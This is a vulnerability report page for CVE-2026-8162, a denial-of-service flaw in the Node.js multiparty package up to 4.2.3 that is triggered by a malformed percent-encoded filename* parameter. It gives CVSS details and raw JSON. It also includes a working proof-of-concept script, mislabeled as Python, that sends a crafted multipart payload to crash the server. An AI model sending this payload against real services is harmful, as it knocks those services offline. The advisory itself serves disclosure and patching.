Security Vulnerability Report
中文
CVE-2026-8162 CVSS 7.5 HIGH

CVE-2026-8162

Published: 2026-05-12 10:16:49
Last Modified: 2026-05-12 10:16:49
Source: ce714d77-add3-4f53-aff5-83d477b104bb

Description

[email protected] and lower versions are vulnerable to denial of service via uncaught exception. By sending a multipart/form-data request with a Content-Disposition header whose filename* parameter contains a malformed percent-encoding, the parser invokes decodeURI on the value without try/catch. The resulting URIError propagates as an uncaught exception and crashes the process. Impact: any service accepting multipart uploads via multiparty is affected. Workarounds: none. Upgrade to [email protected] or higher.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

multiparty <= 4.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const http = require('http'); const multiparty = require('multiparty'); // Create a vulnerable server instance const server = http.createServer((req, res) => { if (req.url === '/upload' && req.method === 'POST') { const form = new multiparty.Form(); form.parse(req, (err, fields, files) => { if (err) { res.writeHead(500); res.end('Error parsing form'); return; } res.writeHead(200); res.end('File uploaded'); }); } else { res.writeHead(200); res.end('Send a POST to /upload'); } }); server.listen(3000, () => { console.log('Vulnerable server running on port 3000'); // Malicious payload with malformed percent-encoding in filename* // The '%invalid' sequence will cause decodeURI to throw URIError const payload = `-----------------------------boundary Content-Disposition: form-data; name="file"; filename*="UTF-8''%invalid% File content -----------------------------boundary-- `; const options = { hostname: 'localhost', port: 3000, path: '/upload', method: 'POST', headers: { 'Content-Type': 'multipart/form-data; boundary=---------------------------boundary', 'Content-Length': Buffer.byteLength(payload) } }; const req = http.request(options, (res) => { console.log(`Response status: ${res.statusCode}`); }); req.on('error', (e) => { // This error is expected as the target server will crash console.error(`Request error (connection reset): ${e.message}`); }); req.write(payload); req.end(); console.log('Malicious request sent. The server process should crash now.'); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8162", "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb", "published": "2026-05-12T10:16:49.110", "lastModified": "2026-05-12T10:16:49.110", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "[email protected] and lower versions are vulnerable to denial of service via uncaught exception. By sending a multipart/form-data request with a Content-Disposition header whose filename* parameter contains a malformed percent-encoding, the parser invokes decodeURI on the value without try/catch. The resulting URIError propagates as an uncaught exception and crashes the process. Impact: any service accepting multipart uploads via multiparty is affected. Workarounds: none. Upgrade to [email protected] or higher."}], "metrics": {"cvssMetricV31": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-755"}]}], "references": [{"url": "https://cna.openjsf.org/security-advisories.html", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/pillarjs/multiparty/security/advisories/GHSA-xh3c-6gcq-g4rv", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}]}}